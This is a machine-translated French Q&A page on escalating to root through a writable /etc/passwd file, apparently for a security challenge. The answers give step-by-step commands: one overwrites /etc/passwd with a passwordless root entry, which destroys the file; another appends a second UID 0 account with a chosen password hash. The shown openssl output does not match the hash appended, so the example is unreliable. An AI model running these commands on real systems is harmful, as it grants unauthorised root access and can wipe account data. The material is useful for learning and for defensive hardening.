web-dev-qa-db-fra.com

Escalade de privilèges à l'aide du fichier passwd

Si j'ai un fichier/etc/passwd accessible en écriture sur un système, comment puis-je augmenter mes privilèges à root? Je suis actuellement un utilisateur défavorisé. Le système d'exploitation sous-jacent est CentOS 7.2 au cas où vous vous poseriez la question

Je sais que le fichier passwd n'est normalement pas inscriptible dans le monde, je fais un défi qui a le scénario actuel.

Toutes les étapes de l'exploitation seront très utiles

9
Airbourne

Les mots de passe sont normalement stockés dans /etc/shadow , qui n'est pas lisible par les utilisateurs. Cependant, historiquement, ils étaient stockés dans le fichier lisible par le monde /etc/passwd avec toutes les informations de compte. Pour des raisons de compatibilité descendante, si un hachage de mot de passe est présent dans la deuxième colonne de /etc/passwd, Il a priorité sur celui de /etc/shadow.

Historiquement, un deuxième champ vide dans /etc/passwd Signifie que le compte n'a pas de mot de passe, c'est-à-dire que n'importe qui peut se connecter sans mot de passe (utilisé pour les comptes invités). Ceci est parfois désactivé. Si les comptes sans mot de passe sont désactivés, vous pouvez mettre le hachage d'un mot de passe de votre choix. Vous pouvez utiliser la fonction crypt pour générer des hachages de mot de passe, par exemple Perl -le 'print crypt("foo", "aa")' pour définir le mot de passe sur foo.

Il est possible d'obtenir un accès root même si vous ne pouvez ajouter qu'à /etc/passwd Et ne pas écraser le contenu. En effet, il est possible d'avoir plusieurs entrées pour le même utilisateur, tant qu'ils ont des noms différents - les utilisateurs sont identifiés par leur ID, pas par leur nom, et la caractéristique qui définit le compte root n'est pas son nom mais le fait qu'il a l'ID utilisateur 0. Vous pouvez donc créer un autre compte racine en ajoutant une ligne qui déclare un compte avec un autre nom, un mot de passe de votre choix et l'ID utilisateur 0.

Tapez simplement:

echo root::0:0:root:/root:/bin/bash > /etc/passwd

su

et vous êtes root.

(La suppression de x signifie que root ne nécessite plus de mot de passe, vous pouvez utiliser la commande sed au lieu de echo mais cela suffit pour obtenir le shell root)

10
Yılmaz Değirmenci

Vous pouvez utiliser cette méthode non destructive:

# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE

# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd

# to switch to a root2
su root2
Password: mrcake 
2
mr guest